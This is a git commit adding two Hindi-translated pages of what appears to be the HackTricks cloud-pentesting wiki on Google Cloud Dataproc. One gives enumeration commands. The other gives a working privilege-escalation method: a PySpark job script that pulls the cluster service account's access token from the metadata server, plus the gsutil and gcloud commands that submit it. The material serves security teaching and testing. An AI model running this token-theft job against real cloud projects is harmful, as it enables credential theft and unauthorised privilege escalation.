Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-01-26 21:46:29 +00:00
parent e2bbd3e92f
commit bbbdf58677
2 changed files with 97 additions and 0 deletions

View File

@@ -0,0 +1,54 @@
# GCP Dataproc Privilege Escalation
{{#include ../../../banners/hacktricks-training.md}}
## Dataproc
{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
मैं इस विधि का उपयोग करके एक रिवर्स शेल प्राप्त करने में असमर्थ था, हालाँकि नीचे वर्णित विधि का उपयोग करके मेटाडेटा एंडपॉइंट से SA टोकन लीक करना संभव है।
#### शोषण करने के चरण
- GCP बकेट पर नौकरी स्क्रिप्ट रखें
- Dataproc क्लस्टर में एक नौकरी सबमिट करें।
- मेटाडेटा सर्वर तक पहुँचने के लिए नौकरी का उपयोग करें।
- क्लस्टर द्वारा उपयोग किए जाने वाले सेवा खाता टोकन को लीक करें।
```python
import requests
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}
def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None
if __name__ == "__main__":
fetch_metadata_token()
```
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# GCP - Dataproc Enum
{{#include ../../../banners/hacktricks-training.md}}
## Basic Infromation
Google Cloud Dataproc एक पूरी तरह से प्रबंधित सेवा है जो Apache Spark, Apache Hadoop, Apache Flink, और अन्य बड़े डेटा ढांचों को चलाने के लिए है। इसका मुख्य उपयोग डेटा प्रोसेसिंग, क्वेरीिंग, मशीन लर्निंग, और स्ट्रीम एनालिटिक्स के लिए किया जाता है। Dataproc संगठनों को आसानी से वितरित कंप्यूटिंग के लिए क्लस्टर बनाने की अनुमति देता है, जो अन्य Google Cloud Platform (GCP) सेवाओं जैसे Cloud Storage, BigQuery, और Cloud Monitoring के साथ सहजता से एकीकृत होता है।
Dataproc क्लस्टर वर्चुअल मशीनों (VMs) पर चलते हैं, और इन VMs से संबंधित सेवा खाता क्लस्टर के अनुमतियों और पहुंच स्तर को निर्धारित करता है।
## Components
एक Dataproc क्लस्टर में आमतौर पर शामिल होते हैं:
Master Node: क्लस्टर संसाधनों का प्रबंधन करता है और वितरित कार्यों का समन्वय करता है।
Worker Nodes: वितरित कार्यों को निष्पादित करते हैं।
Service Accounts: API कॉल को संभालते हैं और अन्य GCP सेवाओं तक पहुंचते हैं।
## Enumeration
Dataproc क्लस्टर, नौकरियां, और कॉन्फ़िगरेशन संवेदनशील जानकारी एकत्र करने के लिए सूचीबद्ध किए जा सकते हैं, जैसे सेवा खाते, अनुमतियाँ, और संभावित गलत कॉन्फ़िगरेशन।
### Cluster Enumeration
Dataproc क्लस्टरों को सूचीबद्ध करने और उनके विवरण प्राप्त करने के लिए:
```
gcloud dataproc clusters list --region=<region>
gcloud dataproc clusters describe <cluster-name> --region=<region>
```
### नौकरी Enumeration
```
gcloud dataproc jobs list --region=<region>
gcloud dataproc jobs describe <job-id> --region=<region>
```
### Privesc
{{#ref}}
../gcp-privilege-escalation/gcp-dataproc-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}